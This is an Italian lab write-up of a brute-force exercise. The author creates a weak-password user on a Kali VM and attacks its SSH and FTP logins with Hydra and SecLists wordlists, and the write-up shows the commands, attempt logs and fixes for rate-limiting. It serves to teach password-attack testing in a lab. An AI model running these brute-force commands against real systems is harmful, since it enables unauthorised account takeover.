

Ho creato un nuovo utente per simulare un sistema vulnerabile con il comando:

**sudo adduser test\_user**

```
(kali@vbox) [~]
$ sudo adduser test_user

[sudo] password di kali:
info: Aggiunta dell'utente «test_user» ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Aggiunta del nuovo gruppo «test_user» (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creazione della directory home «/home/test_user» ...
info: Copia dei file da «/etc/skel» ...
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
Modifica delle informazioni relative all'utente test_user
Inserire il nuovo valore o premere INVIO per quello predefinito
Nome completo []: test_user
```

Ho assegnato come password iniziale: **testpass**.

Ho avviato il servizio SSH con: **sudo service ssh start**

Dopo ho testato la connessione SSH con: **ssh test\_user@192.168.50.100**

```
(kali@vbox) [~]
$ ssh test_user@192.168.50.100

test_user@192.168.50.100's password:
Linux vbox 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@vbox) [~]
$ hydra -l test_user -p testpass 192.168.50.100 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 10:17:58
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:/p:1), ~1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 10:17:58
```

Ho installato **Seclists** per ottenere wordlist di username e password con il comando:

**sudo apt install seclists**

Ho dovuto finire la configurazione precedente che era stata interrotta!

```
(kali@vbox) [~]
$ sudo apt install seclists

[sudo] password di kali:
Error: dpkg è stato interrotto. È necessario eseguire "sudo dpkg --configure -a" per correggere il problema.

(kali@vbox) [~]
$ sudo dpkg --configure -a
Configurazione di libchromaprint1:amd64 (1.5.1-7) ...
Configurazione di libip4tc2:amd64 (1.8.11-2) ...
Configurazione di pinentry-curses (1.3.1-2) ...
Configurazione di libhwyt164:amd64 (1.2.0-2+b2) ...
Configurazione di media-types (12.0.0) ...
Installazione della nuova versione del file di configurazione /etc/mime.types ...
Configurazione di bubblewrap (0.11.0-2) ...
Configurazione di python3-more-itertools (10.6.0-1) ...
Configurazione di galera-4 (26.4.21-1) ...
Configurazione di bluez-firmware (1.2-13) ...
Configurazione di libsharpyuv0:amd64 (1:5.0-0.1) ...
Configurazione di liburcu8t64:amd64 (0.15.1-1) ...
Configurazione di libwayland-server0:amd64 (1.23.1-3) ...
Configurazione di libaprutil1t64:amd64 (1.6.3-3+b1) ...
Configurazione di libaom3:amd64 (3.12.0-1) ...
Configurazione di libpciaccess0:amd64 (0.17-3+b3) ...
Configurazione di libprotobuf32t64:amd64 (3.21.12-10+b6) ...
Configurazione di libxdmcp6:amd64 (1:1.1.5-1) ...
Configurazione di libdouble-conversion3:amd64 (3.3.1-1) ...
Configurazione di python3-setuptools-whl (75.6.0-1) ...
Configurazione di libnpt64:amd64 (1.8-2) ...
Configurazione di pci.ids (0.0-2025.02.12-1) ...
Configurazione di apt-utils (2.9.29-kali1) ...
Configurazione di libgn2:amd64 (1.20.7-11+b2) ...
Configurazione di libicu72:amd64 (72.1-6) ...
Configurazione di liblockfile-bin (1.17-2) ...
Configurazione di python3-importlib-metadata (8.6.1-1) ...
Configurazione di bsextrautils (2.40.4-2) ...
Configurazione di libqt5webengine-data (5.15.18+dfsg-2) ...
Configurazione di ncolor-icon-theme (0.10-2) ...
Configurazione di netcat-traditional (1.10-50) ...
Configurazione di init (1.68+kali2) ...
Configurazione di libl3-1:amd64 (1.1.3+dfsg-1) ...
Configurazione di librencode4:amd64 (4.1-1-2) ...
Configurazione di librengender1:amd64 (1:0.9.10-1+b4) ...
Configurazione di libyte-2.91-common (0.70.90-2) ...
Configurazione di exfatprogs (1.2.7-3) ...
Configurazione di libexo-common (4.20.0-1) ...
Configurazione di dictionaries-common (1.30.5) ...
Configurazione di libclang-common-19-dev:amd64 (1:19.1.7-1+b1) ...
Configurazione di psmisc (23.7-2) ...
Configurazione di attr (1:2.5.2-3) ...
Configurazione di libzix-0-0:amd64 (0.6.2-1) ...
Configurazione di libyaml-0-2:amd64 (0.2.5-2) ...
```

Ho creato due file per contenere username e password di test:

```
echo "test_user" > username_list.txt
```

```
echo "testpass" > password_list.txt
```

Ho eseguito un attacco diretto conoscendo già username e password:

```
hydra -l test_user -p testpass 192.168.50.100 -t 4 ssh -V
```

```
[test_user@vbox:~]$ hydra -l /usr/share/seclists/Passwords/testpass.txt -p testpass 192.168.50.100 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 10:49:46
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), -1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTMP] target 192.168.50.100 - login "test_user" - pass "testpass" - 1 of 1 [child 0] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 10:49:46
```

Poi ho provato un attacco con wordlist più ampie:

```
hydra -L /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt \
192.168.50.100 -t 4 ssh -V
```

```
[test_user@vbox:~]$ hydra -L /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt \
192.168.50.100 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 10:42:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (l:8295455/p:1000000), -207386375000 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTMP] target 192.168.50.100 - login "info" - pass "123456" - 1 of 829545500000 [child 0] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "password" - 2 of 829545500000 [child 1] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "12345678" - 3 of 829545500000 [child 2] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "qwerty" - 4 of 829545500000 [child 3] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "123456789" - 5 of 829545500000 [child 0] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "12345" - 6 of 829545500000 [child 1] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "1234" - 7 of 829545500000 [child 2] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "111111" - 8 of 829545500000 [child 3] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "1234567" - 9 of 829545500000 [child 0] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "dragon" - 10 of 829545500000 [child 1] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "123123" - 11 of 829545500000 [child 2] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "baseball" - 12 of 829545500000 [child 3] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "abc123" - 13 of 829545500000 [child 0] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "football" - 14 of 829545500000 [child 1] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "monkey" - 15 of 829545500000 [child 2] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "letmein" - 16 of 829545500000 [child 3] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "969696" - 17 of 829545500000 [child 0] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "shadow" - 18 of 829545500000 [child 1] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "master" - 19 of 829545500000 [child 2] (0/0)
[ATTMP] target 192.168.50.100 - login "info" - pass "666666" - 20 of 829545500000 [child 3] (0/0)
```

Ho riscontrato due problemi:

1) Hydra non trovava le liste di username e password: ho risolto verificando che i file fossero presenti con `ls` e correggendo i percorsi.

2) SSH ha bloccato le connessioni per troppi tentativi falliti. Ho riavviato il servizio con `sudo service ssh restart` ed ho impostato `-t2`.

## Attacco su un altro servizio (FTP) [Opzionale]

Ho provato lo stesso metodo su un server **FTP**, installando il servizio con:

```
sudo apt install vsftpd - sudo service vsftpd start
```

```

kali@kali:~$ sudo apt install vsftpd
i seguenti pacchetti sono stati installati automaticamente e non sono più richiesti:
libc++1-19      libcconfig+9v5      libfem9          libgtksourceview-3.0-common      libqt5sensors5      libunwind-19      openjdk-23-jre      ruby3.1
libc++abi1-19  libdirectfb-1.7-7t64  libgtksourceview-3.0-1  libgtksourceviewmm-3.0-0v5      libqt5webkit5      libwebrtc-audio-processing1  openjdk-23-jre-headless
Usare "sudo apt autoremove" per rimuoverli.

Aggiornamento:
  zstd
Installazione:
  vsftpd

Riepilogo:
  Aggiornamento: 1, Installazione: 1, Rimozione: 0, Non aggiornati: 770
  Dimensione scaricamento: 143 kB / 880 kB
  Spazio richiesto: 356 kB / 48,4 GB disponibile

Continuare? [S/n] s
Scaricamento di:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.1 [143 kB]
Recuperati 143 kB in 13s (11,0 kB/s)
Preconfigurazione dei pacchetti in corso
Selezionato il pacchetto vsftpd non precedentemente selezionato.
(Lettura del database ... 411974 file e directory attualmente installati.)
Preparativi per estrarre .../vsftpd_3.0.5-0.1_amd64.deb...
Estrazione di vsftpd (3.0.5-0.1)...
Preparativi per estrarre .../zstd_1.5.6+dfsg-2_amd64.deb...
Estrazione di zstd (1.5.6+dfsg-2) su (1.5.6+dfsg-1+b1)...
Configurazione di vsftpd (3.0.5-0.1)...
/usr/lib/tmpfiles.d/vsftpd.conf:1: line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Configurazione di zstd (1.5.6+dfsg-2)...
Elaborazione del trigger per man-db (2.13.0-1)...
Elaborazione del trigger per kali-menu (2024.4.0)...

kali@kali:~$ sudo service vsftpd start

```

Poi ho lanciato Hydra su FTP con: **hydra -L username\_list.txt -P password\_list.txt 192.168.50.100 ftp -V**

```

kali@kali:~$ hydra -L username_list.txt -P password_list.txt 192.168.50.100 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 10:53:25
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:l/p:l), ~1 try per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 1 of 1 [child 0] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 10:53:26

```